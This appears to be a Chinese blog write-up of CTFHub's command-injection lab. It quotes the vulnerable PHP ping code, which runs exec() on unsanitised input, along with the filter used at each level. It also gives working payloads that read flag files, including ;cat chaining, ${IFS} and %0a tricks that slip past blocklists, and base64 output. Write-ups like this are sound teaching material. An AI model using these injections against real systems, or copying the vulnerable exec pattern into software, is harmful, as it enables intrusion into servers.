热门标签 | HotTags
当前位置:  开发笔记 > 后端 > 正文

CTFHub技能树RCE命令注入

1.命令注入关键代码



1.命令注入

// 关键代码

$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>

根据第五行代码,这里直接拼接就行
在这里插入图片描述
看到有一个php文件,8061098418328.php,直接用cat,但是没有显示,
右键查看网页源代码得到FLAG
或者考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入在这里插入图片描述


2、过滤CAT

思路:代替cat
cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f
在这里插入图片描述
没有回显,查看网页源代码,或者base64输出解码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


3、过滤空格


$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

思路:代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}${IFS}来代替空格

(127.0.0.1;cat${IFS}flag_64402731720130.php,我用的几个只有${IFS}成功了)
在这里插入图片描述
**


4、过滤目录分隔符


$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

直接祭出poc127.0.0.1;cd flag_is_here;cat flag_5898818519729.php |base64

**


5、过滤运算符

这个题感觉有个漏洞就是i直接查看网页源代码就看到flag了

正常的思路应该是base64输出出来
过滤了管道符|
而file | base64也可以写成base64 file

127.0.0.1; base64 flag_297281061019145.php


$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

**
**


6、综合过滤练习

思路:

过滤了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
然后按着之前的思路去做就可以了

查看目录 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看文件内容(谷歌浏览器右键查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_313271338621245.php
base64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_313271338621245.php


$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

过程中遇到的问题
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码在这里插入图片描述
**

作者:那酒不要留

出处:https://www.cnblogs.com/xiaoyunxiaogang/

-------------------------------------------

个性签名:独学而无友,则孤陋而寡闻。做一个灵魂有趣的人!知识源于分享!

如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!



推荐阅读
  • 实体映射最强工具类:MapStruct真香 ... [详细]
  • 本文探讨了在 ASP.NET MVC 5 中实现松耦合组件的方法。通过分离关注点,应用程序的各个组件可以更加独立且易于维护和测试。文中详细介绍了依赖项注入(DI)及其在实现松耦合中的作用。 ... [详细]
  • 本文深入探讨了SQL数据库中常见的面试问题,包括如何获取自增字段的当前值、防止SQL注入的方法、游标的作用与使用、索引的形式及其优缺点,以及事务和存储过程的概念。通过详细的解答和示例,帮助读者更好地理解和应对这些技术问题。 ... [详细]
  • 在 Android 开发中,通过 Intent 启动 Activity 或 Service 时,可以使用 putExtra 方法传递数据。接收方可以通过 getIntent().getExtras() 获取这些数据。本文将介绍如何使用 RoboGuice 框架简化这一过程,特别是 @InjectExtra 注解的使用。 ... [详细]
  • 云函数与数据库API实现增删查改的对比
    本文将深入探讨使用云函数和数据库API实现数据操作(增删查改)的不同方法,通过详细的代码示例帮助读者更好地理解和掌握这些技术。文章不仅提供代码实现,还解释了每种方法的特点和适用场景。 ... [详细]
  • 深入解析Spring启动过程
    本文详细介绍了Spring框架的启动流程,帮助开发者理解其内部机制。通过具体示例和代码片段,解释了Bean定义、工厂类、读取器以及条件评估等关键概念,使读者能够更全面地掌握Spring的初始化过程。 ... [详细]
  • 本章详细介绍SP框架中的数据操作方法,包括数据查找、记录查询、新增、删除、更新、计数及字段增减等核心功能。通过具体示例和详细解析,帮助开发者更好地理解和使用这些方法。 ... [详细]
  • 本文介绍如何在Vue项目中配置Webpack,使JS代码作为入口文件直接嵌入到HTML中,而不是传统的HTML作为入口。 ... [详细]
  • 配置PHPStudy环境并使用DVWA进行Web安全测试
    本文详细介绍了如何在PHPStudy环境下配置DVWA( Damn Vulnerable Web Application ),并利用该平台进行SQL注入和XSS攻击的练习。通过此过程,读者可以熟悉常见的Web漏洞及其利用方法。 ... [详细]
  • 烤鸭|本文_Spring之Bean的生命周期详解
    烤鸭|本文_Spring之Bean的生命周期详解 ... [详细]
  • QNX 微内核(procnto-instr)的监测版本内置了高级跟踪与分析工具,能够实现实时系统监控。该模块适用于单处理器及多处理器系统。 ... [详细]
  • 应对.avast后缀勒索病毒:全面指南
    本文详细介绍了.avast后缀勒索病毒的特性、感染途径、恢复方法及预防措施,旨在帮助用户有效应对这一威胁。 ... [详细]
  • 在使用高德地图内置导航功能时遇到AMapNavi组件出现空指针异常,经过多次排查发现问题是由于so库的兼容性引起的。本文将详细介绍如何通过调整项目配置来解决这一问题。 ... [详细]
  • EasyMock实战指南
    本文介绍了如何使用EasyMock进行单元测试,特别是当测试对象的合作者依赖于外部资源或尚未实现时。通过具体的示例,展示了EasyMock在模拟对象行为方面的强大功能。 ... [详细]
  • 本文探讨了一个特定于 Spring 4.2.5 的问题,即在应用上下文刷新事件(ContextRefreshedEvent)触发时,带有 @Transactional 注解的 Bean 未能正确代理事务。该问题在 Spring 4.1.9 版本中正常运行,但在升级至 4.2.5 后出现异常。 ... [详细]
author-avatar
陈陈
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有